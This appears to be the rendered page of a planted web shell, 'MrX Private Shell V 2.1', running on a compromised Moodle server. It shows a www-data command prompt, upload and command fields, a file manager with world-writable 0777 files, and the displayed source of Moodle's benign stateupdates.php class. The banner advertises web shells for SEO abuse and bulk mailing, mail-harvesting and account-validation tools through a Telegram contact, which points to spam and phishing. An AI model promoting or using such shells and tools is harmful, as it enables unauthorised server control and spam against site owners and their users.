__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_courseformat;

use coding_exception;
use core_courseformat\base as course_format;
use renderer_base;
use stdClass;
use course_modinfo;
use JsonSerializable;

/**
 * Class to track state actions.
 *
 * The methods from this class should be executed via "stateactions" methods.
 *
 * Each format plugin could extend this class to provide new updates to the frontend
 * mutation module.
 * Extended classes should be located in "format_XXX\course" namespace and
 * extends {@see \core_courseformat\stateupdates}.
 *
 * @package    core_course
 * @copyright  2021 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class stateupdates implements JsonSerializable {

    /** @var course_format format the course format */
    protected $format;

    /** @var renderer_base renderer format renderer */
    protected $output;

    /** @var array the tracked updates */
    protected $updates;

    /**
     * State update class constructor.
     *
     * @param course_format $format Course format.
     */
    public function __construct(course_format $format) {
        global $PAGE;

        $this->format = $format;
        $this->output = $this->format->get_renderer($PAGE);
        $this->updates = [];
    }

    /**
     * Return the data to serialize the current track in JSON.
     *
     * @return stdClass the statement data structure
     */
    public function jsonSerialize(): array {
        return $this->updates;
    }

    /**
     * Add track about a general course state change.
     */
    public function add_course_put(): void {
        $courseclass = $this->format->get_output_classname('state\\course');
        $currentstate = new $courseclass($this->format);
        $this->add_update('course', 'put', $currentstate->export_for_template($this->output));
    }

    /**
     * Add track about a section state put.
     *
     * @param int $sectionid The affected section id.
     */
    public function add_section_put(int $sectionid): void {
        $this->create_or_put_section($sectionid, 'put');
    }

    /**
     * Add track about a new section created.
     *
     * @param int $sectionid The affected section id.
     */
    public function add_section_create(int $sectionid): void {
        $this->create_or_put_section($sectionid, 'create');
    }

    /**
     * Add track about section created or put.
     *
     * @param int $sectionid The affected section id.
     * @param string $action The action to track for the section ('create' or 'put').
     */
    protected function create_or_put_section(int $sectionid, string $action): void {
        if ($action != 'create' && $action != 'put') {
            throw new coding_exception(
                "Invalid action passed ($action) to create_or_put_section. Only 'create' and 'put' are valid."
            );
        }
        $course = $this->format->get_course();
        $modinfo = course_modinfo::instance($course);
        $format = $this->format;

        $section = $modinfo->get_section_info_by_id($sectionid, MUST_EXIST);

        if (!$format->is_section_visible($section)) {
            return;
        }

        $sectionclass = $format->get_output_classname('state\\section');
        $currentstate = new $sectionclass($this->format, $section);

        $this->add_update('section', $action, $currentstate->export_for_template($this->output));

        // If the section is delegated to a component, give the component oportunity to add updates.
        $delegated = $section->get_component_instance();
        if ($delegated) {
            $delegated->put_section_state_extra_updates($section, $this);
        }
    }

    /**
     * Add track about a section deleted.
     *
     * @deprecated since Moodle 4.1 MDL-74925 - please call add_section_remove() instead.
     * @param int $sectionid The affected section id.
     */
    public function add_section_delete(int $sectionid): void {
        debugging('add_section_delete() is deprecated. Please use add_section_remove() instead.', DEBUG_DEVELOPER);

        $this->add_update('section', 'remove', (object)['id' => $sectionid]);
    }

    /**
     * Add track about a section removed.
     *
     * @param int $sectionid The affected section id.
     */
    public function add_section_remove(int $sectionid): void {
        $this->add_update('section', 'remove', (object)['id' => $sectionid]);
    }

    /**
     * Add track about a course module state update.
     *
     * @param int $cmid the affected course module id
     */
    public function add_cm_put(int $cmid): void {
        $this->create_or_put_cm($cmid, 'put');
    }

    /**
     * Add track about a course module created.
     *
     * @param int $cmid the affected course module id
     */
    public function add_cm_create(int $cmid): void {
        $this->create_or_put_cm($cmid, 'create', true);
    }

    /**
     * Add track about section created or put.
     *
     * @param int $cmid The affected course module id.
     * @param string $action The action to track for the section ('create' or 'put').
     */
    protected function create_or_put_cm(int $cmid, string $action): void {
        $modinfo = course_modinfo::instance($this->format->get_course());

        $cm = $modinfo->get_cm($cmid);
        $section = $modinfo->get_section_info_by_id($cm->section);
        $format = $this->format;

        if (!$section->uservisible || !$cm->is_visible_on_course_page()) {
            return;
        }

        $cmclass = $format->get_output_classname('state\\cm');
        $currentstate = new $cmclass($this->format, $section, $cm);

        $this->add_update('cm', $action, $currentstate->export_for_template($this->output));
    }

    /**
     * Add track about a course module deleted.
     *
     * @deprecated since Moodle 4.1 MDL-74925 - please call add_cm_remove() instead.
     * @param int $cmid the affected course module id
     */
    public function add_cm_delete(int $cmid): void {
        debugging('add_cm_delete() is deprecated. Please use add_cm_remove() instead.', DEBUG_DEVELOPER);

        $this->add_update('cm', 'remove', (object)['id' => $cmid]);
    }

    /**
     * Add track about a course module removed.
     *
     * @param int $cmid the affected course module id
     */
    public function add_cm_remove(int $cmid): void {
        $this->add_update('cm', 'remove', (object)['id' => $cmid]);
    }

    /**
     * Add a valid update message to the update list.
     *
     * @param string $name the update name
     * @param string $action the update action (usually update, create, remove)
     * @param stdClass $fields the object fields
     */
    protected function add_update(string $name, string $action, stdClass $fields): void {
        $this->updates[] = (object)[
            'name' => $name,
            'action' => $action,
            'fields' => $fields,
        ];
    }

}

Filemanager

Name Type Size Permission Actions
external Folder 0777
hook Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
base.php File 82.64 KB 0777
formatactions.php File 5.44 KB 0777
hook_listener.php File 1.92 KB 0777
sectiondelegate.php File 5.17 KB 0777
sectiondelegatemodule.php File 6.45 KB 0777
stateactions.php File 42.99 KB 0777
stateupdates.php File 7.45 KB 0777
Filemanager